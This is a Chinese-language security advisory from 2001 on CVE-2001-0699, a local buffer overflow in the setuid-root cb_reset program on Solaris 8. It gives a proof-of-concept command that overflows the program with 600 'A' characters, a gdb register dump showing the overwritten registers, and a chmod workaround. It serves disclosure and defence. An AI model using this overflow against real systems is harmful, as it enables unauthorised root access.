发布日期：2001-06-20
更新日期：2001-07-03

受影响系统：

Sun Solaris 8.0

描述：

---

BUGTRAQ  ID: 2893
CVE(CAN) ID: CVE-2001-0699

SUNWssp软件包中所带的cb_reset程序中存在一个本地缓冲区溢出漏洞。

当在命令行中传递一个超过600字符长的参数给cb_reset时，将发生缓冲区溢出。由于此
程序被设置了setuid root属性，本地攻击者可以获取root权限。

<*来源：Pablo Sor (psor@afip.gov.ar) *>


测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Pablo Sor (psor@afip.gov.ar)提供了如下测试步骤：

$ uname -a
SunOS laika 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10

$ ls /tftpboot/cb_port
/tftpboot/cb_port

$ /opt/SUNWssp/bin/cb_reset `perl -e 'print "A"x600'`
Resetting host
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
ether_hostton(SrcHost:laika): No such file or directory
ether_hostton(DstHost:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA): No such file or directory
Bus Error (core dumped)

$ gdb /opt/SUNWssp/bin/cb_reset --core=core
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.8"...
(no debugging symbols found)...
Core was generated by `/opt/SUNWssp/bin/cb_reset
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 10, Bus Error.
Reading symbols from /opt/SUNWssp/lib/libSspFileAccess.so...
(no debugging symbols found)...done.
Loaded symbols for /opt/SUNWssp/lib/libSspFileAccess.so
Reading symbols from /opt/SUNWssp/lib/liblogger.so...
(no debugging symbols found)...done.

[...]

Loaded symbols for /usr/lib/nss_files.so.1
#0  0x1219c in cb_send_frame ()
(gdb) info registers
g0             0x0      0
g1             0xff195b80       -15115392
g2             0xff322630       -13490640
g3             0xff332d78       -13423240
g4             0x0      0
g5             0x0      0
g6             0x0      0
g7             0x0      0
o0             0x13278  78456
o1             0xff1bbab8       -14959944
o2             0xff1b8018       -14974952
o3             0x13278  78456
o4             0x13258  78424
o5             0xffbedb71       -4269199
sp             0xffbedb18       -4269288
o7             0x1218c  74124
l0             0xc3c3c3c3       -1010580541
l1             0x41414141       1094795585
l2             0x41414141       1094795585
l3             0x41414141       1094795585
l4             0x41414141       1094795585
l5             0x41414141       1094795585
l6             0x41414141       1094795585
l7             0x41414141       1094795585
i0             0x41414141       1094795585
i1             0x41414141       1094795585
i2             0x41414141       1094795585
i3             0x41414141       1094795585
i4             0x4141414d       1094795597
i5             0x41414141       1094795585
fp             0x41414141       1094795585
i7             0x41414141       1094795585  (***)
y              0xb      11
psr            0xfe801001       -25161727
wim            0x0      0
tbr            0x0      0
pc             0x1219c  74140
npc            0x121a0  74144
fpsr           0x0      0      
cpsr           0x0      0
(gdb)


建议：

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临时解决方法：

去掉cb_reset的suid属性：
# chmod a-s /opt/SUNWssp/bin/cb_reset

厂商补丁：

暂无



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